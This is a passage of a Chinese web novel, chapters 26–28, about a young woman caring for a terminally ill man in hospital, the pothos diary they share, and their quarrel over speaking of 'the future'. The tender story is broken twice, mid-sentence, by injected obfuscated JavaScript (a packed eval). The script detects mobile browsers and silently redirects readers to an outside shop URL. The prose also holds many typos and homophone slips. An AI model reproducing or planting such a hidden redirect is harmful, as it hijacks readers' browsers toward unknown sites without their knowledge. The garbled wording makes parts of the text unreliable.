“快一点，师傅。”她催促司机。 司机看了眼后视镜，踩下油门。 到医院急诊室，医生护士立刻围了上来。苏晚禾被拦在外面，看着他们把谢临洲推进抢救室。 门关上，红灯亮起。 她在走廊的长椅上坐下，浑身发抖。脑子里一片空白，只有一个念头：不要有事，不要有事，不要有事...... 时间过得很慢。墙上的时钟滴答滴答，每一秒都像一年那么长。苏晚禾盯着抢救室的门，眼睛都不敢眨。 一个小时后后，门开了。医生走出来：“你是家属？” “朋友。”苏晚禾站起来，“他怎么样了？” “暂时稳定了。”医生说，“是癌痛引起的急性发作，加上体力透支。已经用了止痛药和镇静剂，现在睡着了。” “我能看他吗？” “可以，但别吵醒他。” 苏晚禾走进病房。谢临洲躺在病床上，脸色苍白得像纸，手背上扎着点滴。他睡得很沉，眉头还是微微皱着。 她在床边坐下，看着他。窗外的阳光照镜来，照在她脸上，能看见细细的汗毛。 她想伸手摸摸他的脸，但没敢。 只是静静地坐着，听着他的呼吸声。 平稳，但和微弱。 想风中摇曳的烛火，随时可能熄灭。 她突然想起那些修缮灯塔的日子。他们一起补窗户，一起刷漆，一起清理垃圾。那时候谢临洲虽然也累，但眼睛里是有光的。 而现在...... 她地下头，眼泪掉在膝盖上。 无声无息。 窗外的天色渐渐暗下里。护士进来换药，看见她还坐在那里，轻声说：“你先回去吧，他一时半会醒不了。” “我再坐会。”苏晚禾说。 护士没再劝，换了药就出去了。 房间里又只剩下他们两个人。苏晚禾看着谢临洲，想起他说：“谢谢你做这些，为了我。” 她想说，不用谢。 因为她做这些，不仅是为了他。 也是为了自己。 为了能有一个地方，可以和他一起看星星，一起弹琴，一起......度过剩下的时光。 但现在这个机会搁浅了。 像一艘船，还没起航，就触了礁。 她轻轻握住谢临洲的手。他的手很凉，她用力握着，想把自己的温度传过去。 “快点好起来。”她轻声说，“我们还有修灯塔呢。” 谢临洲在睡梦中微微动了动手指。 像是在回应。 又像只是无意识的动作。 苏晚禾不知道。 她只知道，她会等。 等她醒来，等他能下床，等他能在去灯塔。 等他们能把没做完的事做完。 窗外，夜色渐深。 远处的灯塔亮了起来。 光柱扫过海面，扫过小镇，扫过医院的窗户。 一下，又一下。 规律，坚定，永不停止。 27. 第 27 章 第二十七章：医院窗台的绿萝观察日记 谢临洲在抢救室醒来的那个清晨，看见的第一样东西是窗台上的绿萝。 小小的一盆，栽在一个白色的塑料花盆里，叶子鲜绿鲜绿的，在晨光中泛着健康的光泽。有几片新叶刚刚舒展开来，嫩得能看见细细的脉络。 他盯着绿萝看了很久，久到护士进来查房，发现他醒了。 “你醒了？”护士快步走过来，“感觉怎么样？” “还好。”谢临洲的声音沙哑，“我朋友......” “她守了你一夜，早上被我们劝回去休息了。”护士量了他的血压和体温，“等会就回来了。” 护士离开后，谢临洲继续看着那盆绿萝。阳光从窗外照进来，照在叶片上，在病房的白色墙壁上投出晃动的光影。 门轻轻开了。苏晚禾提着保温盒走进来，看见他醒了，眼睛一亮：“你醒了！” “嗯。”谢临洲是，“绿萝是你带来的？” “对。”苏晚禾把保温盒放在床头柜上，“从灯塔拿来的。我想着，病房里有点绿色，心情会好些。” 她打开保温盒，里面是清粥和小菜：“饿了吗？” “有点。” 苏晚禾扶他坐起来，在他背后垫上枕头，然后一勺一勺地喂他喝粥。粥熬得很烂，几乎不用嚼就能咽下去。 “张阿姨熬的。”她说，“她说你现在只能吃流食。” 谢临洲熳熳喝着。每喝几口就停一下，喘口气。一碗粥喝了二十分钟。 喝完粥，苏晚禾给她擦了擦嘴，然后从包里拿出一个小本子：“看这个。” 那是她前几天在文具店买的素描本，封面上印着一片绿叶。她翻开第一夜，上面写着： “绿萝观察日记，献给谢临洲。” 下面是一行小字：“希望它能陪你度过在医院的日子。” 谢临洲接过本子，一页一页翻开。苏晚禾的字迹不算好看，但写得很认真： “第一天：绿萝搬到病房。它好像有点不适应新环境，叶子耷拉着。但没关系，我每天都会给你浇水，陪它说话。” 配了一副简笔画：一盆绿萝，耷拉着叶子。 “第二天：绿萝精神点了。有一片新叶子冒出来了，嫩绿嫩绿的。今天阳光很好，我把它搬到窗台晒太阳。谢临洲还在睡，但我跟他说了话，告诉他绿萝的情况。我觉得他听见了。” 配图：绿萝在阳光下，一片新叶。 “第三天：绿萝又长了一片新叶。原来的叶子也更绿了。护士说它长得很好，比比病房里其他植物都精神。谢临洲今天手指动了一下，医生说这是个好兆头。” 配图：两片新叶。 谢临洲翻到最新一页。那是今天早上写的： “第四天：谢临洲醒了。绿萝好像知道似的，今天特别精神。我把它搬到离床最近的地方，这样以后他一睁眼就能看见。希望绿萝能带给他好心情。” 配图：绿萝在床头柜上，叶子舒展。 谢临洲合上本子，看向窗台。那盆绿萝确实很精神，叶子饱满，新叶嫩绿，在晨光中微微晃动。 “谢谢。”他说。 “不客气。”苏晚禾笑了，“从现在开始，你也要写。” “写什么？” “写绿萝的观察日记啊。”苏晚禾说，“我写前四天，你写后面的。我们轮流，直到他出院。” 她从包里有拿出一支笔，递给谢临洲：“就从今天开始。” 谢临洲接过笔，翻开新的一页。他想了想，写到： “第四天（下午）：我醒了。绿萝在窗台上，阳光很好。苏晚禾说我睡了四天，但我感觉只睡了一会。绿萝确实很精神，像在欢迎我醒来。” 他画了简笔画：病床上的自己，看着窗台的绿萝。 “这样行吗？”他问。 “行。”苏晚禾点头，“以后每天都要写。” 从那天起，绿萝观察日记成了谢临洲住院生活的一部分。每天早上，苏晚禾来的时候，会把本子递给他。他会花十几分钟，写下前一天绿萝的变化： “第五天：绿萝又长了一片新叶。旧的叶子颜色更深了，说健康的深绿色。苏晚禾说绿萝好养，只要浇水和阳光就能活。我想，我也该像它一样。” “第六天：今天阴天，绿萝有点没精神。苏晚禾把它搬到窗台最亮的地方，说等太阳出来就好了。下午果然出了太阳，绿萝的叶子有舒展开了。” “第七天：护士说绿萝长得太快了，该换盆了。苏晚禾买了个大一点的盆，我们一起给它换了土。换盆的时候发现，它的根已经长满了旧盆。原来它在看不见的地方，一直在努力生长。” 谢临洲的身体恢复得很慢。止痛药让他大部分时间都昏昏沉沉的，但每天写日记的那十几分钟，是他最清醒的时候。 有时候他写得简单，就一两句话。有时候状态好，会多写几句。 “第八天：今天疼得厉害，但看着绿萝，好像能分散注意力。苏晚禾说，疼的时候就看看绿萝，想想它在努力生长。我试了，好像有点用。” “第九天：绿萝的藤蔓开始往下垂了。苏晚禾说等再长一点，可以把它挂起来，让藤蔓垂下来，像绿色的瀑布。我想象那个画面，应该很美。” “第十天：又一片新叶。绿萝好像不知道累，一直在长。苏晚禾今天跟我讲她训练的事，说她以前训练累了，就看看泳池边上的绿植，想着植物也在努力生长，她也要努力。我觉得她和绿萝有点像。” 日记本渐渐厚起来。除了文字，还有两人画的简笔画：谢临洲画绿萝，苏晚禾画窗外的飞鸟，偶尔还有她自己画的鬼脸表情包。 绿萝也确实在生长。从最初的小小一盆，长出了长长的藤蔓。苏晚禾找护士要了根绳子，把花盆挂在窗边。藤蔓垂下来，随风轻轻摆动，真的像绿色的瀑布。 “它长得真好。”一天下午，谢临洲看着绿萝是。 “你也是。”苏晚禾正在削苹果，“你也在好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948384|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来。” 谢临洲没说话。他知道自己在好转，但离“好起来”还差很远。疼痛仍然时时造访，体力依然虚弱，每一次呼吸都像在提醒他，这具身体已经千疮百孔。 但他没说这些。他只是看着绿萝，看着它在阳光下舒展的叶子，看着它不断冒出的新芽。 “苏晚禾。”他突然说。 “嗯？” “等我出院了，这盆绿萝能带回灯塔吗？” 苏晚禾削苹果的手停住了。她抬起头，看着写临洲：“你想把它带到灯塔？” “嗯。”谢临走是，“放在塔顶，和我们一起看星星。” 苏晚禾的眼睛亮了起来：“好主意！那我们得买个大点的花盆，塔顶风大，小盆容易到。” “还有做个架子，把它固定住。” “对！我想想......可以用旧木板做，刷成白色，和灯塔的墙一个颜色。” 他们你一言我一语地讨论起来，像在计划什么重要的大事。谢临洲的眼睛里有光，苏晚禾的声音里有笑。病房里沉闷的空气好像被搅动了，变得鲜活起来。 讨论到一半，护士进来送药。看见他们兴奋的样子，好奇地问：“聊什么呢这么开心？” “我们在计划怎么装饰灯塔。”苏晚禾说。 护士笑了：“真好。有计划就有盼头。” 是啊，有计划就有盼头。苏晚禾想。 哪怕这个计划很小，哪怕它可能永远实现不了。 但有盼头，日子就不难熬。 那天晚上，苏晚禾离开医院前，在日记本上新写了一页。不是关于绿萝，而是关于谢临洲： “第十一天：今天谢临洲说了很多话。他计划把绿萝带到灯塔，计划做架子，计划怎么装饰。他说话的时候眼睛很亮，像以前在灯塔看星星的时候。我想，也许绿萝真的能带来好运。也许他真的能好起来。” 她合上本子，放在谢临洲的床头。 窗外的夜色很深，但病房的灯很暖。 绿萝在窗边轻轻摆动，藤蔓垂下来，像在守护着什么。 第二天早上，谢临洲醒来时，看见那页日记。他拿起笔，在下面写： “绿萝在长，我也在努力。虽然慢，但没停。这就够了。” 他放下笔，看向窗台。 阳光正好，绿萝的叶子上挂着细小的水珠，闪闪发光。 像希望。 很小，但很亮。 他闭上眼睛，深深地吸了一口气。 空气中是消毒水的味道，药的味道，还有......绿萝的清香。 淡淡的，但很清晰。 像在说：我在长，你也要加油。 他轻轻点了点头。 像是在回应。 又像是承诺。 窗外，新的一天开始了。 绿萝在阳光下舒展。 而他们，在希望中前行。 一步，又一不。 很慢，但很坚定。 28. 第 28 章 第二十八章：关于“以后”的禁止话题 绿萝在窗台上抽出了第五根新藤的时候，谢临洲终于能下床走动了。 虽然只是从床边走到窗前，短短三步路，但他走得稳当，没喘，也没冒冷汗。苏晚扶着他，像扶着一件易碎的瓷器，小心翼翼。 “你看，绿萝又长了。”她指着窗台。 新的藤蔓嫩绿嫩绿的，从花盆边缘垂下来，末端卷曲着，像在试探空气。谢临洲伸手轻轻碰了碰那片卷曲的叶子，叶子颤动了一下，仿佛在回应。 “它长得真快。”他说。 “你也一样。”苏晚禾笑了，“医生说下周就能出院了。” 谢临洲没接话。他看向窗外，医院的院子里那颗老槐树已经冒出了新芽，嫩黄嫩黄的，在春风里微微摇晃。 春天真的来了。 回到窗扇，苏晚禾给他倒水，拿药。药片五颜六色，摊在手心里像一把糖，但谁都知道不是糖。谢临洲一粒一粒吞下去。 “出院后想做什么？”苏晚禾问，“我们继续修灯塔？” 谢临洲沉默了一会：“灯塔......先放放吧。” “为什么？” “累了。”他简单地说。 苏晚禾看着他苍白的侧脸，突然意识到他说的“累了”可能不是身体上的。那种累，说心里有块石头，一直压着，压得人喘不过气。 “那我们去海边走走？”她换了个提议，“就散步，不走远。” “好。” 接下来几天，苏晚禾总是有意无意地提到“以后”。 “等夏天来了，我们去夜市把剩下的愿望清单完成。还差三个小吃没尝过呢。” “等绿萝再长大点，我们真把它带到灯塔去。我想好了，可以做个吊篮，挂在窗边。” “等你再好一点，我们在打场球。这次我一定赢你。” 每次她说这些，谢临洲都只是点头，或者“嗯”一声，很少接话。苏晚禾起初没在意，以为他只是没精神。 直到那天下午。 那天阳光特别好，苏晚禾推开窗户，春风带着青草和泥土的气息涌进来。她深吸一口气，回头对谢临洲说：“等出院了，我想试着游一次泳。就五十米，慢慢游，应该可以。” 谢临洲靠在床头，闭着眼睛，像是睡着了。 “你听见了吗？”苏晚禾又问了一遍。 “听见了。” “那你觉得我能游吗？” 谢临洲睁开眼睛，看着她。他的眼神很平静，平静得让苏晚禾心里发慌。 “苏晚禾。”他叫她的名字。 “嗯？” “别说了。” “说什么？” “说‘以后’。”谢临洲的声音很轻，但每个字都清清楚楚，“别说等出院了怎样，等夏天了怎样，等我好一点了怎样。” 苏晚禾愣住了。她张了张嘴，想说什么，但谢临洲打断了她。 “我没以后了。”他说。 这句话像一块冰，砸在春天的阳光里，砸得苏晚禾浑身发冷。 “你怎么能这么说......”她的声音在发抖。 “我说的是事实。”谢临洲的语气依然平静，“我的病情在恶化，你也知道。每次好转都是暂时的，很快就会变得更差。我没有夏天，没有‘再好一点’，没有......” 他顿了顿，声音低了下去：“没有‘以后’。” 苏晚禾站在那里，手脚冰凉。窗外的春风还在吹，吹得绿萝的叶子轻轻晃动，吹得老槐树的新芽簌簌作响。一切都是生机勃勃的样子，只有谢临洲的话，像冬天的余烬，冷得刺骨。 “你......你不想好起来吗？”她听见自己问，声音很陌生。 “我想。”谢临洲说，“但想和能，是两回事。” 他转过头，看向窗外：“这一年多，我试过所有能试的治疗。化疗，靶向药，免疫治疗......每次都以为这次会有效，每次都在短暂的好转后迎来更严重的恶化。我已经......累了。” 苏晚禾走到床边，蹲下身，仰头看着他：“可是你说过，要陪我去夜市，要带绿萝去灯塔，要看我游泳......” “那是愿望。”谢临洲低头看她，“愿望和承诺不一样。愿望是美好的想象，承诺是要兑现的。我兑现不了，所以不能说。” 他说眼睛很清澈，像秋天的湖水，平静，但深不见底。 “那你现在告诉我，”苏晚禾的声音哏咽了，“我该怎么办？我还能说什么？” “说现在。”谢临洲伸手，轻轻擦掉她脸上的泪，“说今天的阳光很好，说绿萝又长了新叶，说你今天给我带了什么好吃的。说这些就够了。” 苏晚禾抓住他的手。他的手很凉，骨头硌得她手疼。 “可是我想跟你有以后。”她哭着说，“哪怕只是想象，我也想要。” “想象可以。”谢临洲说，“但别当成真的。别让我......觉得我欠你一个未来。” 这话像一把刀，捅进苏晚禾心里。她突然明白了谢临洲在怕什么，他怕他期待，怕她等待，怕她因为她无法实现的承诺而失望。 他怕她走了，留下她一个人，守着那些永远无法实现的“以后”。 “我不在乎。”苏晚禾用力摇头，“就算实现不了，我也想要那些想象。和你一起想象，一起计划，哪怕只是说说......我也想要。” 谢临洲看着她，很久没说话。窗外的阳光移到了床边，照在他苍白的脸上，照得他几乎透明。 “好。”他终于说，“那我们就说说。但你要答应我一件事。” “什么事？” “如果有一天，那些‘以后’真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952489|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实现不了了，你不能难过太久。”谢临洲说，“你要继续过你的生活，继续游泳，继续笑，继续......有新的‘以后’。” 苏晚禾的眼泪又涌了出来。她用力点头，却说不出话。 “能做到吗？”谢临洲问。 “能。”她哑着声音说，“我能。” “那拉钩。” 他们像小孩子一样拉钩。手指勾在一起，谢临洲的手指冰凉，苏晚禾的手指温暖。这短暂的触碰，像是一个契约，一个关于接受和放手的契约。 从那以后，“以后”成了他们之间的一个微妙话题。苏晚禾还是会说，但会加上“也许”“可能”“如果”。谢临洲也渐渐回应，但会加上“希望”“但愿”“尽量”。 “如果夏天我肩膀完全好了，也许我们可能去海边游泳。”苏晚禾说。 “但愿那时候我还游得动。”谢临洲回应。 “等你出院了，我们尽量再去一次灯塔。” “希望那时候我还有力气爬楼梯。” 他们像是在玩一个游戏，用不确定的词语搭建一个脆弱的未来。那个未来摇摇欲坠，像肥皂泡，美丽但易碎。 但至少，他们还有想象的权利。 绿萝观察日记还在继续。谢临洲出院前一天，在日记本上写了最后一句： “第二十天：我要出院了。绿萝长出了第七根藤蔓，叶子深绿，新叶嫩绿。它会被带回灯塔，和我们一起看星星。这是我能确定的‘以后’，虽然很小，但很真实。” 他画了一副画：灯塔的窗户，里面有一盆绿萝，窗外是星空。 苏晚禾在旁边加了一句：“这也是我能确定的‘以后’：我会一直陪着绿萝，也陪着你。直到最后。” 写完这句话，她抬头看谢临洲。谢临洲也看着她，眼睛里有什么东西在闪动。 “谢谢。”他说。 “不客气。”苏晚禾合上日记本，“我们说好的，不说谢。” “好，不说。” 出院那天，阳光灿烂。苏晚禾抱着绿萝，谢临洲拧着小小的行李包，慢慢走出医院。春风佛面，带着海的味道。 “回家？”苏晚禾问。 “嗯，回家。” 他们并肩走在春天的街道上。路边的树都绿了，花也开了。一切都欣欣向荣，充满希望。 苏晚禾看了眼手里的绿萝，又看了眼身边的谢临洲。 绿萝在生长。 谢临洲在呼吸。 而她，在陪着。 这就够了。 至于“以后”...... 以后的事，以后再说。 现在，他们还有春天。 还有彼此。 还有这盆倔强生长的绿萝。 阳光照在身上，暖暖的。 像希望。 很小，但很真实。